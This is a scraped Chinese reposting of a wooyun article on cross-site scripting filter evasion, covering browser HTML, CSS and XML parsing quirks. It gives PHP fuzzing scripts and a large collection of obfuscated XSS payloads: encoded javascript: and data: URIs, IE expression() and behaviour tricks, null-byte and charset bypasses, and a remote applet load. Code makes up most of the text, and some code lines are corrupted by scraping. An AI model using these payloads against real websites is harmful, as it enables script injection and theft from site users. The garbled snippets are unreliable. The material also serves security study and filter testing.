<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/147

            重要的4個規則:

            1 &符號不應該出現在HTML的大部分節點中。
            2 尖括號<>是不應該出現在標簽內的,除非為引號引用。
            3 在text節點里面,<左尖括號有很大的危害。
            4 引號在標簽內可能有危害,具體危害取決于存在的位置,但是在text節點是沒有危害的。
            

            文件解析模式

            在任何HTML文檔中,最開始的<!DOCTYPE>用來指示瀏覽器需要解析的方式,同樣也可使用Content-Type頭來告訴瀏覽器。

            一般情況下,瀏覽器中的解析器會嘗試恢復大多數類型的語法錯誤,包括開始和結束標記。

            在XML中,是非常嚴格的,所有標簽必須有對應的開始關閉,也可以有自動關閉如<img/>也是允許的。

            了解HTML解析

            在IE瀏覽器中允許在1中插入NUL字符(0x00),可以繞過非常多的xss過濾器。

            如下php代碼可把NUL字符插入標簽內做測試:

            2和4中的空格也可以由tab(0x0B)與換頁鍵(0x0C),2處也可以用/來代替。

            5中的"在IE中也可替換成`。

            IE當中還有一個特性是當遇到=后面緊跟一個引號的時候會有奇怪的解析。

            <img src=test.jpg?value=">Yes, we are still inside a tag!">
            <comment><img src="<comment><img src=x onerror=alert(1)//">
            

            Entity編碼

            HTML解析器在建立文檔樹的時候會針對節點內的Entity編碼解碼后傳輸。

            以下兩個表示相同:

            <img src="http://www.example.com"> 
            <img src="ht&#x74;p&#x3a;//www.example.com">
            

            下面兩個例子代碼不會執行,因為,編碼的是標簽本身的結構而非節點內的內容:

            <img src&#x3d;"http://www.example.com"> 
            <img s&#x72;c="http://www.example.com">
            

            Fuzzing

            對一個普通的HTML進行Fuzzing測試:

            <a >Click me</a>
            

            看一下可以Fuzzing的位置

            位置 代碼 可能插入或替代的代碼
            <的右邊 <[here]a href="... 控制符,空白符,非打印字符
            a標簽的后門 <a[here]href="... 同上
            href屬性中間 <a hr[here]ef="... 同上+空字節
            =兩邊 <a href[here]=[here]"... 所有字符
            替換= <a href[here]"... Union編碼符號
            替換" <a href=[here]…[here]> 其他引號
            >之前 <a href="…"[here]> 任意字符
            /之前 <a href="…">...<[here]/a> 空白符,控制符
            /之后 <a href="…">...</[here]a> 空白符,控制符
            >閉合之前 <a href="…">…</a[here]> 所有字符

            可以使用php代碼進行快速測試,例如我們對第一個位置(<的右邊)進行Fuzzing:

            <?php
            for($i = 0; $i <= 255; $i++) {
            $character = chr($i);
            #  <右邊進行測試
            echo '<div><'.$character.'a ; } 
            ?>
            

            上面的代碼只測試了256個字符,如果想要測試Unicode的所有字符,則需要創建65536個鏈接。

            php默認字符是ISO-8859-1作為默認的字符編碼,而這種編碼只有256個字符,所以單純的循環65536遍是沒用的。

            所以采用Entity編碼方式循環,解碼后輸出:

            <?php
            for($i = 0; $i <= 65535; $i++) {
            $character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8')
            # <右邊進行測試
            echo '<div><'.$character.'a ;
            }?>
            

            有一個有趣的現象是幾乎所有瀏覽器對$#33;!,瀏覽器會<!當成注釋的開始,然后自動補齊剩下的代碼,瀏覽器解析后的代碼:

            <div><!--a -->33</div>
            
            針對標簽名的Fuzzing:
            <L? onclick=alert(1)>click me</L?>
            

            上面的代碼,在Chrom、Firefox和Safari中點擊,可以順利彈出1。

            討論一下空字符的問題,IE瀏覽器會自動忽略空字符,并解析剩下的代碼,這樣會繞過很多采用正則匹配黑名單字符串的過濾器。

            并且,很多函數和庫并沒有意識到這個問題:

            <?php 
            echo '<im'.chr(0).'g sr'.chr(0).'c=x onerror=ale'.chr(0).'rt(1)>';
            ?>
            

            用IE8打開上述代碼的網頁,查看源代碼只能看到"<im"后面的字符都隱藏了。

            還有兩種方式可以對標簽名Fuzzing,第一種是涉及字符集的問題,第二種是針對php中在過濾之前使用了utf8_decode()函數。

            <?php
            header('Content-Type: text/html;charset=Shift_JIS'); 
            for($i = 1; $i <= 255; $i++) {    
                $character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');    
                $character = utf8_decode($character);    
                echo $character.'123456 '.$i."<br>\r\n";
            } ?>
            

            代碼很簡單,設置返回響應字符集為Shift_JIS,然后把utf-8轉換為Shift_JIS字符集。

            可以看到在IE中129-159和224-252中,123456中的1消失了,與前面的字符合并成一個字符了。

            標簽后面也可加入/符號做間隔:

            <img/src=x onerror=alert(1)>
            

            嘗試在標簽與/之間再插入其他字符來測試,由于空字符無法直觀顯示,所以用\0來表示null,同樣主流瀏覽器都可以執行:

            <img\0/src=x onerror=alert(1)>
            

            再嘗試ASCII碼之外的字符,這種字符在正則表達式中\w是無法匹配到的,主流瀏覽器都可以執行:

            <img/ \/\μ src=x onerror=alert(1)//>
            

            測試發現,標簽名與屬性名直接只要是以/開頭以/或"結尾,中間幾乎可以插入任意字符。

            在Fuzzing屬性方面,考慮兩方面,一個是可以使用什么分隔符,一個是屬性值可以采用什么編碼。

            分隔符有很多種,單引號,雙引號,無任何引號,反撇號(IE中)。

            <?php
            for($i = 1; $i <= 255; $i++) {
                $character = chr($i);
                echo '<div><font size='. $character. '20'. $character. '>'.$i.' </font></div>';
            } ?>
            

            上面代碼可以直觀的看出當前瀏覽器支持的分隔符有哪些字符。

            上面代碼size屬性如果輸入的是字符的話,會順利執行,所以當$character中循環到數字的時候也會順利解析,但這并非是把數字當成了分割符:

            <?php
            for($i = 20; $i <= 255; $i++) {
                $character = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
                echo '<div><img title="'.$i.'" src='.$character. 'http://www.google.com/intl/en_ALL/images/logo.gif'. $character. '></div>'; 
            } ?>
            

            以上代碼可以看出,屬性為字符串的時候,可以作為分隔符的字符。

            為了表示那些不可打印的字符,就用\x十六進制來表示:

            <img src=\x17\x17 onerror=alert(1)//>
            

            以上代碼\x17即表示不可打印字符chr(23),瀏覽器提交的時候可以輸入%3Cimg%20src%3D%17%17%20onerror%3Dalert%281%29%2f%2f%3E。

            在src中可以正常工作的分隔字符,在處理事件的屬性里不一定會工作,例如onerror。

            但是仍然有一些字符可以達到我們的目的,ASCII表中的133和160已經IE中的空字符,甚至是分號。

            <img/\%20src=%17y%17 onerror=%C2%A0alert(1)//>
            

            以上代碼urldecode之后在chrome中可以順利執行。

            下面討論多個標簽的問題,比如用戶可控的數據插入到了<input>標簽中,同時過濾了<>只能插入標簽內數據:

            <input value="" type=image src=1 onerror=alert(1)//" type="hidden" name="foo" />
            

            綠色部分是我們插入的數據,又插入了一個type屬性,但是瀏覽器執行了alert(),瀏覽器實際上會執行第一個屬性,后面的會忽略掉。

            在IE中還有一個lowsrc的屬性,跟src類似,原本是為了方便調用一個縮略圖的,但是在IE6和IE7中,同時也支持偽協議javascript:,還有一個dynsrc屬性也類似:

            <img lowsrc=1 onerror=alert(1)> // 所有IE都支持
            <img lowsrc=javascript:alert(2)> //IE6和IE7支持
            <img src="http://www.google.de/intl/de_de/images/logo.gif" dynsrc="javascript:alert(3)" /> // 只有IE6支持
            

            sytle屬性中還可以定義非常多的參數:

            <span style="color:red" style="color:green;background:yellow"> foobar</span>
            

            上面代碼可以看到,瀏覽器顯示的字體為紅色,背景為黃色,除了定義顏色之外也可以用expression()執行js,后面會討論。

            還有一個屬性是專門用來在一個標簽中插入多個的:xmlns,XML的命名空間屬性,這個后面會在XML中討論。

            還有一處可Fuzzing的點即為標簽的關閉,一個有趣的現象是瀏覽器把<br/></br><p/></p>成完全一樣。

            <b > foobar</b style="x:expression(alert(1))"> // 不會執行alert
            <b > foo</b > bar</b style="x:expression(alert(2))"> // IE執行了alert
            <script src="http://0x.lv"></b> // 不會執行
            

            可以執行的代碼為沒有開始標簽的一個閉合標簽,IE8中,sytle屬性可以插在一個閉合標簽內,并順利執行。

            可混淆的另一個方法是:可替換為=,下面例子在IE8中可執行:

            <//style=x:expression(if(!window.x){window.x=1;alert(1);})> 
            <//style='x=expr\65 ssion(if(!window.x){window.x=1;alert(1);})'> 
            </a/style='x= \a expr\65 ss/*\&#x2a/ion(if(!window.x){window.x=1;alert(1);})'>
            

            HTML代碼中執行js的各種方式,用以下方式定義的時候,VBscript和JavaScript都可以執行。

            <script language=vbs>
            alert+1'VBScript
            alert(2)// JavaScript 
            </script>
            

            也有利用標簽中的屬性來執行js,例如:onclick,onload,onerror等等。

            在iframe標簽中,不需要src屬性就可以順利執行onload屬性,而img標簽不可以。

            這是因為在iframe中沒有src屬性的時候,瀏覽器會自動加載about:blank頁面,即空白頁。

            附件tag.php可以方便的看到當前瀏覽器針對各標簽在不需要用戶交互的情況下,可以自動執行的所有屬性。

            tag-event.php

            從輸出結果可以看到body標簽支持非常多的屬性可以在與用戶沒有交互的情況下執行js。

            例如load,error事件,所有的mouse和keyboard事件,以及在用戶離開時的blur事件,還有unload和beforeunload,以及大家很少知道的pageshow屬性。

            同樣標簽中也有很少遇到的marquee標簽:

            <marquee onscroll=alert(1)>
            

            在Chrome中,html標簽也可以執行非常多的屬性,,同源frameset標簽也接受focus和blur事件。

            一個很有趣的例子是,讓scroll事件可以無交互觸發,我們可以引入一個錨點,例如:

            <a name="bottom">或者通過id屬性<div id="bottom">

            那我們可以訪問http://test.com/test.html#bottom來訪問,瀏覽器自動滾到該錨點,觸發scroll屬性。

            <body onscroll="alert(1)">
            <div style="height:10000px">some text</div>
            <a name="bottom"></a>
            </body>
            

            1.html為以上代碼,訪問1.html#bottom會自動觸發onscroll事件。

            IE中hr標簽中的onresize屬性,在當前窗口大小變化時,會觸發resize事件,執行alert(1)。

            <hr onresize=alert(1)>
            

            還有非常多的組合可以在IE中使用,很難全部列出來,只列舉出幾個很少見的例子:

            <bgsound onpropertychange=alert(1)>
            <body onpropertychange=alert(2)>
            <body onmove=alert(3)>
            <body onfocusin=alert(4)>
            <body onbeforeactivate=alert(5)>
            <body onactivate=alert(6)>
            <embed onmove=alert(7)>
            <object onerror=alert(8)>
            <style onreadystatechange=alert(9) >
            <xml onreadystatechange=alert(10) >
            <xml onpropertychange=alert(11) >
            <table><td background=javascript:alert(12) > 
            

            除了以上on的各種屬性之外,src和href屬性由于支持javascript和vbscript(只支持IE)偽協議,所以也是可以執行javascript代碼:

            <a href="javascript:alert(1)">click me</a>
            <a href="vbscript:alert(2)">click me</a>
            

            代碼執行時必須使用(),不可以使用vbscript中的alert+2,當點擊之后,會彈出一個寫在當前頁面DOM中的數字2的警告框。

            javascript:和vbscript:協議執行后的結果將會映射在DOM后面。

            <a href="javascript:'\x3cimg src\x3dx onerror=alert(document.domain)>'">click me</a>
            

            以上代碼在IE和Firefox中點擊click me之后可執行,并且可以看到彈出的domain為a標簽中所在的domain。

            以上代碼需要用戶交互,下面看個不需要用戶交互的例子,使用object標簽和data:標簽:

            <object data="javascript:alert(1)">
            <object data="data:text/html,<script>alert(2)</script > ">
            <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg">
            

            以上三個在Firefox中可執行,第二個可在Opera中執行,把各標簽中各屬性支持javascript的總結了一些:

            <iframe src="javascript:alert(1)"> // 火狐,Chrome, IE8
            <embed src="javascript:alert(2)"> // 火狐 
            <img src="javascript:alert(4)"> // IE6
            <image src="javascript:alert(5)"> // IE6
            <body background="javascript:alert(5)"> // IE6 
            <script src="javascript:alert(6)"> // IE6 
            <table background="javascript:alert(7)"> // IE6 
            <isindex type="image" src="javascript:alert(8)"> // IE6-7
            

            以及applet標簽中code和archive屬性可以用來調用jar文件,執行java代碼。

            <applet code="XSS" archive="http://someserver.com/xss.jar"></applet>
            

            Javascript可以通過DOM直接獲取當前頁面中對應的id和name屬性的對象:

            <html>
            <body>
            <div id="test"></div>
            <script>alert(test)</script>
            </body>
            </html>
            

            上面代碼可以看出Javascript中并沒定義test變量,但是獲取到了頁面中id為test的對象。

            反過來,我們可以在外部直接控制Javascript變量,并且在一些瀏覽器中可以重寫Javascript中已有的變量。

            <html>
            <body>
            <form id="location" href="bar">
            <script>alert(location.href)</script>
            </body>
            </html>
            

            以上代碼在IE中可以看到彈出的bar,而不是當前頁面的url,成功覆蓋了原本的變量。

            還有一種利用meta標簽來執行Javascript:

            <meta http-equiv="refresh" content="0; url=javascript:alert(document.domain)">
            

            上面代碼可以在Chrome,Opera,IE6中可執行javascript代碼,并且彈出的時meta標簽所在的域。

            如果禁止了javascript:協議,也可使用data:協議,不過能夠順利執行javascript并且繼承meta標簽域的測試到的只有Opera。

            <meta http-equiv="refresh" content="0; url=data:text/html,<script>alert(document.domain)</script>">
            

            IE中為了兼容各個版本,所以有一個條件注釋的語法,這個語法其他瀏覽器并不支持,會自動當成html注釋。

            <!--[if IE 8]>
            <p>Welcome to Internet Explorer 8.</p> 
            <![endif]-->
            

            如上文字只有在IE8中才會顯示,條件注釋對于開發是一件很好的事情,可以方便的判斷瀏覽器版本獲取兼容代碼展現給用戶。

            <!--[if gte IE 7]><p>You are using IE 7 or greater.</p><![endif]-->
            <!--[if (IE 5)]><p>You are using IE 5 (any version).</p><![endif]-->
            <!--[if (gte IE 5.5)&(lt IE 7)]><p>You are using IE 5.5 or IE 6.</p><![endif]-->
            <!--[if lt IE 5.5]><p>Please upgrade your version of Internet Explorer.</p><![endif]-->
            <!--[if lt Contoso 2]>
            <p>Your version of the Contoso control is out of date; please update to the latest.</p>
            <![endif]-->
            <![if IE 8.0] >
            <script > alert(1)</script >  //只在IE8下執行
            <![endif] >
            <![if IE 8.0000000000000000]]] >
            <script > alert(2)</script >  // IE8同樣執行
            <![endif] >
            <![if IE 8.0000000000000000?] >
            <script > alert(3)</script >  // 所有的IE都執行
            <![endif] > 
            

            同時IE還支持另外一種方法來執行條件語句,就是通過標簽,并且標簽之間的代碼并不會執行,但是其他瀏覽器卻會執行。

            <comment><img src=x onerror=alert(3)><comment>
            <comment onclick=alert(1)>XXX--> //Opera不執行
            

            IE的JS引擎里同樣也有條件注釋的語法:

            <script>
            [email protected]_on!alert(1)
            [email protected]_on~alert(2)@*/
            </script>
            

            前面提到過標簽屬性中的URI可以做entity編碼,同時,javascript:后面也可以做url編碼,下面代碼在所有瀏覽器中都可以成功執行。

            <a href="j&#x61vascript:%61lert(1)">click me</a>
            

            同時后面的url編碼可以再做一次entity編碼:

            <a href="j&#x61vascript:&#x25;61lert(1)">click me</a>
            

            由于entity編碼允許&#之后插入任意多個0,再利用上javascript的注釋混淆后:

            <a href="j&#x61vascript: //%0&#x61 &#x00025;61lert(1)">click me</a>
            

            base標簽定義當前頁面鏈接默認地址或默認目標,下面代碼在opera中可執行:

            <base href="javascript:alert(1)"/>
            <a href="#">click me</a>
            

            javascript也可以換行分割(在IE與chrome中可執行alert):

            <a href="j&#x61v
            ascript: //%0&#x61 &#x00025;61lert(1)">click me</a>
            

            換行字符同時也可以使用entity編碼:

            <a href="j&#x61va&#x000Ascript://%0&#x61&#x00025;61lert(1)"> click me</a>
            
            <?php
            for($i = 0; $i<=65535; $i++) {
                $chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8'0);
                echo '<iframe src="java'.$chr.'script:alert('.$i.')"></iframe> <br/>';
            } ?>
            

            上面代碼可測出當前瀏覽器中,javascript字符串插入哪些字符仍然可以執行alert。

            <a href="data:text/html;charset=utf-8;base64, PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pPC9zY3JpcHQ+Og=="> click</a>
            

            上面代碼在Firefox和Opera中可以彈出當前域,Chrome與Safari可以彈,但是繼承不到a標簽所在的域,彈出為空,IE不能執行。

            Firefox中data:協議默認MIME類型為text/html,即使你定義了一個他根本不知道的類型,他也會把它當作text/html類型:

            <iframe src="data:μ,<script>alert(1)</script>"> </iframe>
            <iframe src="data:&#ffff;,<script>alert(2)</script>"></iframe>
            

            利用之前總結的結論,最終可以寫出下面可讓Firefox執行的代碼:

            <iframe/
            \/src="data:μ,%3cscript%3ealert(document.dom&#x25;61in+[])%3c/script%3e"> </iframe>
            

            并且火狐中會忽略data:協議中的所有空白字符:

            <iframe src="data:.&#x2c &#x25;
            3
            cscri pt%
            3 e alert(1)
            %3c /s &#x43 RIP t>">
            

            最終可以混淆成這樣:

            <iframe src="d&#097t&#x0061:. &#x2c &#x25; 3
            c s cri &#x00D; pt %
            3 e al\u0065rt(1)
            %3c /s &#x43 RI &#x009 P t>"
            data:%,<b> < s &#10 c r i p t>alert(1) < /s &#10 c r i p t>
            

            之前提到的標簽,在IE中data:協議都不能執行javascript,但是在style標簽里,[email protected]:執行javascript:

            <style>
            @import "data:,*%7bx:expression(write(1))%7D";
            </style>
            <style>
            @imp\ ort"data:,*%7b- = \a %65x\pr\65 ssion(write(2))%7d"; </style>
            <style>
            <link rel="Stylesheet" href="data:,*%7bx:expression(write(3))%7d">
            

            下面討論一下事件即onload、onerror等事件之后的混淆方法:

            <body onload="al&#000101rt&#8233
            /*&#00*/(document. dom&#x5cu0061in)//">
            

            采用了entity編碼,最后一處是先使用javascript的unicode編碼,然后再entity編碼。

            由于是直接處理DOM的方法和對象,與直接在script標簽內處理字符串的環境還是不同,但是我們可以加注釋或者換行符。

            <body onload="al&#000101rt&#8233
            //&#x0d/*&#00*/(document. dom&#x5cu0061in)//">
            

            當使用location重定向到javascript:偽協議url的時候,又可以多做一重編碼了:

            <body/:a/onload="location='j&#97vAscript:'
            +&#x28[&#x5d+
            '\141\l\u0065rt\r\(/*&#x2a/docum%65nt.dom\x&#x0032;561in)'
            )">
            

            事件同時又可以直接調用其他屬性:

            <img src="x" onload="alert(1)" onerror="this.onload()">
            <img/src="*/(1)"title="alert/*"onerror="eval(title+src)">
            

            style屬性的混淆,一個沒有任何混淆的簡單例子:

            <input type="text" value="" style=display:block;position:absolute;top:0;left:0;width:999em; height:999em onmouseover=alert(1) a="" name="foo" />
            

            利用之前總結的在屬性里的混淆方法:

            <l1!/style="-:\65 \x/**/\p\r\0&#x30;0065 /**/ssio\n(write /**&#x2f(dom\u0061in))"> 
            

            在expression中,我們可以直接訪問document中的write方法和domain屬性,這表明我們當前位于document的DOM范圍內。

            <l1!/style="-:\65 \x/**/\p\r\0&#x30;0065 /**/ssio\n(location='j&#97vAscript:'+&#x28[&#x5d+'document.write\r\(/*&#x2a/1)'))"> 
            

            轉到javascript的URL時,已不在document當中,訪問write方法時需要使用document.write。

            看到有\xx和\xxxxxx的Unicode編碼,這些都是CSS編碼,與JavaScript編碼非常相似。

            下面兩個URL中列舉了一些瀏覽器對各種奇怪的css語法支持情況:

            http://imfo.ru/csstest/css_hacks/import.php http://centricle.com/ref/css/filters/

            在IE中,css的解析非常的寬泛:

            <style>
            /*\*/*{x:expression(write(1))/*
            </style>
            <style>
            _{content:"\"/*" x}
            *{0:expression(write(2))
            </style>
            <a style=<!---/**/&#61expression(write(3))/*-- > X</a > 
            

            從IE5.5到IE8中,除了expression可以用來執行JavaScript之外,也可以通過HTML+TIME的形式。

            這種方式唯一的缺點就是也需要一個事件來執行JavaScript,即onbegin或者onend:

            1<l style="behavior:url(#default#time2)"onbegin="alert(1)">
            

            還有一種方式利用set標簽:

            1<set/xmlns="urn:schemas-microsoft-com:time" style="beh&#x41vior:url(#default#time2)" attributename="innerhtml" to="&lt;img/src=&quot;x&quot;onerror=alert(1)&gt;">
            

            測試一下style屬性中在哪些瀏覽器中,可以插入哪些字符:

            <?php
            for($i = 0; $i<=65535; $i++) {
                $chr = html_entity_decode('&#'.$i.';', ENT_QUOTES, 'UTF-8');
                echo '<a style="color='.$chr.'red">'.dechex($i).'['.$chr.']</a>';
            } ?>
            

            從測試結果可以得出,下面的代碼可以在IE中執行:

            <div style=xss&#x2000;:&#x3000;expression(write(1))>
            

            在一些老版本的IE中,如IE6和IE7,還可以通過背景相關屬性調用javascript的URL來執行javascript代碼:

            <b style="background:url(javascript:alert('background'))">xxx</b> 
            <b style="background-image:url(javascript:alert('background'))"> xxx</b>
            <b style="list-style:url(javascript:alert('background'))">xxx</b> 
            <b style="list-style-image:url(javascript:alert('background'))"> xxx</b>
            

            通過link標簽(在IE6下適用,同時javascript可以換成vbscript):

            <link rel="stylesheet" href="javascript:alert(1)">
            <link rel="stylesheet" href="vb&#x09script:%61lert(document.domain)">
            

            style標簽中可以通過導入url的方式執行javascript:

            <style>
            @imp\o\ rt url('javascript:%61lert(2)'); 
            </style>
            

            HTML5中增加了很多標簽跟屬性,列舉一些可執行JavaScript的方法:

            <form><input><output onforminput="alert(1)"> //Opera支持
            

            onfocus與autofocus的配合:

            <input onfocus=write(domain) autofocus>
            <keygen onfocus=write(domain) autofocus>
            <textarea onfocus=write(domain) autofocus>
            <body onfocus=write(domain) autofocus>
            <frameset onfocus=write(domain) autofocus>
            <button onfocus=write(domain) autofocus>
            <input autofocus onblur=write(domain)><input autofocus> //Chrome中無交互執行
            <iframe/src=javascript:alert(1)>
            <video/poster=javascript:alert(2)>
            <button form="test" formaction="javascript:alert(3)">
            

            更多的html5攻擊方式請見:http://html5sec.org/

            XML內容比較少,就一起寫到HTML里了,XML支持Unicode,所以Unicode里的所有字符都可以用來做標簽或者屬性,同時有可能繞過<\w+匹配:

            <啊 onclick="alert(1)" xmlns="http://www.w3.org/1999/xhtml">XXX</啊>
            

            XML相比HTML最嚴格的就是有了開始的標簽,必須要有結束標簽匹配,否則會報錯。

            但是在大多數瀏覽器中似乎并不會影響頁面中javascript的解析(IE中不執行):

            <html xmlns="http://www.w3.org/1999/xhtml"> 
            <script>
            alert(1); // works
            </script>
            <p>
            <script>
            alert(2); // works too 
            </script>
            </html>
            

            甚至可以通過JavaScript修改錯誤頁面的內容(在Firefox中可執行):

            <html xmlns="http://www.w3.org/1999/xhtml"> 
            <p>
            <script>
            setTimeout(function(){ document.activeElement.textContent='hello world' },1);
            </script>
            </html>
            

            XML的編碼規范與HTML非常相似,可以用entity編碼屬性值。 在XML中,我們可以在DOCTYPE中自定義entity,甚至通過URL引入外部文件:

            <!DOCTYPE xss [<!ENTITY x "&#x61;l&#x26;y;"><!ENTITY y "ert">]>
            <html xmlns="http://www.w3.org/1999/xhtml">
            <script>&x;(document.domain);</script>
            </html>
            

            上面代碼定義了一個&y變量為"ert",&x為"al&y"(a與&符號編碼了一下),即alert,

            <!DOCTYPE xss [<!ENTITY _k "&#x61;l&#x26;__;"><!ENTITY __ "ert" > ]>
            <script xmlns="http://www.w3.org/1999/xhtml">
            &lt;!--&#10;&_k;(1&#x000029;
            </script>
            

            在xml中,包括script標簽內的代碼瀏覽器都會entity解碼后執行,這點很有用:

            <script xmlns="http://www.w3.org/1999/xhtml">
            a='&#x27;,alert(1)//';
            b='&#39;,alert(2)//';
            c='&apos;,alert(3)//';
            </script>
            

            從5.5版本開始,Internet Explorer(IE)開始支持Web 行為的概念。

            這些行為是由后綴名為.htc的腳本文件描述的,它們定義了一套方法和屬性,幾乎可以把這些方法和屬性應用到HTML頁面上的任何元素上去。

            HTML中可以通過加載CSS的behavior的方式調用htc文件,僅支持同域調用:

            //HTML文件代碼:
            <html>
            <head>
            <style>body { behavior: url(test.htc);}</style> </head>
            <body>Hello</body>
            </html>
            //htc文件代碼:
            <PUBLIC:COMPONENT>
            <PUBLIC:ATTACH EVENT="onclick" ONEVENT="alert(1)" />
            </PUBLIC:COMPONENT>
            

            同樣HTML調用XML文件執行javascript:

            <html>
            <body>
            <xml id="xss" src="test.xml"></xml>
            <label dataformatas=html datasrc=#xss datafld=payload></label> </body>
            </html>
            <?xml version="1.0"?>
            <x>
            <payload>
            <![CDATA[<img src=x onerror=alert(domain)>]]> </payload>
            </x>
            

            dataformatas定義了獲取到的數據以什么格式解析(HTML或text),datasrc指綁定的id,datafld指使用哪一段數據。

            svg調用javascript(新版本的幾個瀏覽器支持):

            <svg xmlns="http://www.w3.org/2000/svg">
            <g onload="alert(1)"></g>
            </svg>
            <svg xmlns="http://www.w3.org/2000/svg" onload="alert(2)"></svg>
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线